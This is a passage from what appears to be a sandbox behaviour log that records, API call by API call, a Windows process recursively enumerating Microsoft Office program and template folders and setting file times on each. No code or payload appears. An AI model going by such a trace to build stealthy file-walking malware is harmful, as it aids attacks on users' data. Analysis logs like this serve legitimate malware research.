hFindFile=0x4fd560) returned 1 [0248.193] GetLastError () returned 0x12 [0248.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content" (normalized: "c:\\program files\\microsoft office\\office14\\visio content"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0248.194] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.194] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.194] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0248.194] GetLastError () returned 0x12 [0248.194] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0248.194] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0248.195] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0248.195] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0248.195] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0248.202] GetLastError () returned 0x12 [0248.202] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0248.202] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.203] GetLastError () returned 0x12 [0248.203] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.204] GetLastError () returned 0x12 [0248.204] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0248.204] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART" (normalized: "c:\\program files\\microsoft office\\office14\\xlstart"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART" (normalized: "c:\\program files\\microsoft office\\office14\\xlstart"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0248.204] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.205] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.205] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0248.205] GetLastError () returned 0x12 [0248.205] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd4e0 [0248.205] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0248.205] GetLastError () returned 0x12 [0248.205] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.205] GetLastError () returned 0x12 [0248.205] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0248.205] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery" (normalized: "c:\\program files\\microsoft office\\stationery"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery" (normalized: "c:\\program files\\microsoft office\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0248.206] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0248.206] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0248.206] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd520 [0248.206] GetLastError () returned 0x12 [0248.207] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd4e0 [0248.207] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0248.207] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033" (normalized: "c:\\program files\\microsoft office\\stationery\\1033"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033" (normalized: "c:\\program files\\microsoft office\\stationery\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0248.207] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.207] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.207] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd520 [0248.209] GetLastError () returned 0x12 [0248.209] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0248.209] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0248.209] GetLastError () returned 0x12 [0248.209] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0248.210] GetLastError () returned 0x12 [0248.210] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.210] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates" (normalized: "c:\\program files\\microsoft office\\templates"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates" (normalized: "c:\\program files\\microsoft office\\templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0248.211] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0248.211] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0248.211] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd4e0 [0248.211] GetLastError () returned 0x12 [0248.211] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd560 [0248.211] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.212] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033" (normalized: "c:\\program files\\microsoft office\\templates\\1033"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033" (normalized: "c:\\program files\\microsoft office\\templates\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0248.212] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.212] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.212] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd4e0 [0248.216] GetLastError () returned 0x12 [0248.216] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd520 [0248.216] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.216] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0248.217] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0248.217] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0248.217] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0248.219] GetLastError () returned 0x12 [0248.219] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0248.219] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.219] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0248.220] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0248.220] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0248.220] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0248.222] GetLastError () returned 0x12 [0248.222] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0248.222] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.222] GetLastError () returned 0x12 [0248.222] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0248.223] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0248.303] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0248.303] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0248.303] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0248.349] GetLastError () returned 0x12 [0248.349] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0248.349] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0248.350] GetLastError () returned 0x12 [0248.350] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.351] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0248.351] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0248.351] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0248.351] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0248.351] GetLastError () returned 0x12 [0248.351] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0248.351] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.351] GetLastError () returned 0x12 [0248.352] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0248.352] GetLastError () returned 0x12 [0248.352] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.352] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0248.396] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0248.396] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0248.396] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0248.443] GetLastError () returned 0x12 [0248.443] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0248.443] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.443] GetLastError () returned 0x12 [0248.443] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0248.444] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0248.490] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0248.490] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0248.490] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0248.490] GetLastError () returned 0x12 [0248.490] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: 